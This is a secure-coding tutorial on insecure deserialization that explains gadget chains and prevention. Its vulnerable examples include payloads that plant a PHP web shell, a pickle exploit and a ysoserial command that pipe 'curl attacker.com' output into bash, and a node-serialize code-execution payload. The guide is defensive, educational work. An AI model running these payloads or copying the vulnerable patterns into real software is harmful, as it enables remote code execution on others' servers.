Insecure Deserialization
Insecure deserialization occurs when applications reconstruct objects from untrusted data without adequate validation. Attackers can manipulate serialized data to inject malicious objects, leading to remote code execution, privilege escalation, or denial of service. This vulnerability class has caused some of the most severe security incidents, including the infamous Log4Shell attack.
What Is Serialization?
Serialization converts complex data structures or objects into a format that can be stored (files, databases) or transmitted (network, APIs). Deserialization is the reverse process - reconstructing the original object from the serialized data.
Common serialization formats include:
- Java native serialization (binary)
- PHP serialize()
- Python pickle
- .NET BinaryFormatter
- YAML (with object tags)
Why Deserialization Is Dangerous
When applications deserialize user-controlled data, attackers can replace expected objects with objects of entirely different classes. The deserializer will instantiate ANY class available to the application, not just the expected type. This is sometimes called 'object injection.'
The attacker's goal is to find 'gadget chains' - sequences of existing classes whose methods, when called during deserialization, perform dangerous operations like executing commands or writing files.
Vulnerable Code Examples
PHP Insecure Deserialization
<?php
// Vulnerable: Deserializing user input directly
class User {
public $name;
public $isAdmin = false;
}
// Attacker controls this cookie value
$userData = unserialize($_COOKIE['user']);
if ($userData->isAdmin) {
// Admin functionality
showAdminPanel();
}
// Attack payload (URL encoded in cookie):
// O:4:"User":2:{s:4:"name";s:5:"hacker";s:7:"isAdmin";b:1;}
// This creates a User object with isAdmin = truePHP Magic Methods for RCE
<?php
// Dangerous class with magic method
class FileHandler {
public $filename;
public $content;
// Called when object is destroyed
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
// If attacker can unserialize a FileHandler object:
$payload = 'O:11:"FileHandler":2:{s:8:"filename";s:18:"/var/www/shell.php";s:7:"content";s:27:"<?php system($_GET["c"]); ?>";}';
// When this object is garbage collected, __destruct runs
// Writing a web shell to the serverPython Pickle RCE
import pickle
import base64
import os
# Vulnerable: Loading untrusted pickle data
def load_session(session_data):
# DANGEROUS: Never unpickle untrusted data
return pickle.loads(base64.b64decode(session_data))
# Attacker creates malicious pickle
class Exploit:
def __reduce__(self):
# This method tells pickle how to reconstruct the object
# We abuse it to execute arbitrary commands
return (os.system, ('curl http://attacker.com/shell | bash',))
# Generate malicious payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload) # Send this as session_dataNode.js node-serialize
const serialize = require('node-serialize');
// Vulnerable: Deserializing user input
app.post('/session', (req, res) => {
const sessionData = req.cookies.session;
// DANGEROUS: Untrusted deserialization
const session = serialize.unserialize(sessionData);
res.json({ user: session.user });
});
// Attack payload using IIFE (Immediately Invoked Function Expression)
const payload = {
rce: function() {
require('child_process').execSync('id > /tmp/pwned');
}()
};
// node-serialize executes the function during deserialization
// Payload: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}Java Deserialization
// Vulnerable: Deserializing untrusted data
public class SessionManager {
public Object loadSession(byte[] sessionData) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(sessionData);
// DANGEROUS: No validation of what's being deserialized
ObjectInputStream ois = new ObjectInputStream(bis);
return ois.readObject(); // Can instantiate ANY serializable class
}
}
// Attackers use tools like ysoserial to generate gadget chains:
// java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash'Identifying Serialized Data
Look for these signatures in cookies, request parameters, or stored data:
- Java: Hex starts with AC ED 00 05 (or base64 rO0AB)
- PHP: O:4:"User":2:{...} or a:2:{...}
- Python pickle: \x80\x04\x95 (binary) or base64 encoded
- .NET: AAEAAAD///// (base64)
Prevention Strategies
Use Safe Data Formats
Prefer JSON or other data-only formats that cannot encode executable logic:
// Secure: Use JSON instead of serialization
// JSON can only represent data, not executable code
// Instead of serialized objects:
// O:4:"User":2:{s:4:"name";s:4:"john";s:7:"isAdmin";b:0;}
// Use JSON:
const userData = JSON.stringify({ name: 'john', isAdmin: false });
// Parse safely (JSON.parse cannot execute code)
const user = JSON.parse(userData);Implement Integrity Checks
import crypto from 'crypto';
const SECRET = process.env.SIGNING_SECRET;
// Sign serialized data
function signData(data) {
const serialized = JSON.stringify(data);
const signature = crypto
.createHmac('sha256', SECRET)
.update(serialized)
.digest('hex');
return `${serialized}.${signature}`;
}
// Verify before deserializing
function verifyAndParse(signedData) {
const [data, signature] = signedData.split('.');
const expected = crypto
.createHmac('sha256', SECRET)
.update(data)
.digest('hex');
if (!crypto.timingSafeEqual(
Buffer.from(signature),
Buffer.from(expected)
)) {
throw new Error('Signature verification failed');
}
return JSON.parse(data);
}Type Whitelisting (Java)
// Secure: Whitelist allowed classes
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
public Object safeDeserialize(byte[] data) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bis);
// Only allow specific classes
ois.accept("com.myapp.User");
ois.accept("com.myapp.Session");
ois.reject("*"); // Reject everything else
return ois.readObject();
}Safe Alternatives for Python
# NEVER use pickle for untrusted data
# Use these alternatives instead:
import json
import yaml # with safe_load only
# JSON is always safe (data only)
data = json.loads(user_input)
# YAML: ONLY use safe_load
data = yaml.safe_load(user_input) # Safe
# data = yaml.load(user_input) # DANGEROUS - can execute code
# For complex objects, use explicit conversion
class User:
def __init__(self, name: str, role: str):
self.name = name
self.role = role
@classmethod
def from_dict(cls, data: dict):
# Explicit, validated deserialization
return cls(
name=str(data.get('name', '')),
role=str(data.get('role', 'user'))
)Security Checklist
- Never deserialize data from untrusted sources
- Prefer JSON over language-specific serialization formats
- Implement cryptographic signatures for any serialized data
- Use class whitelisting when deserialization is unavoidable
- Run deserialization in sandboxed/isolated environments
- Monitor for suspicious serialization signatures in input
- Apply principle of least privilege to deserialized objects
- Keep dependencies updated (gadget chains exploit known classes)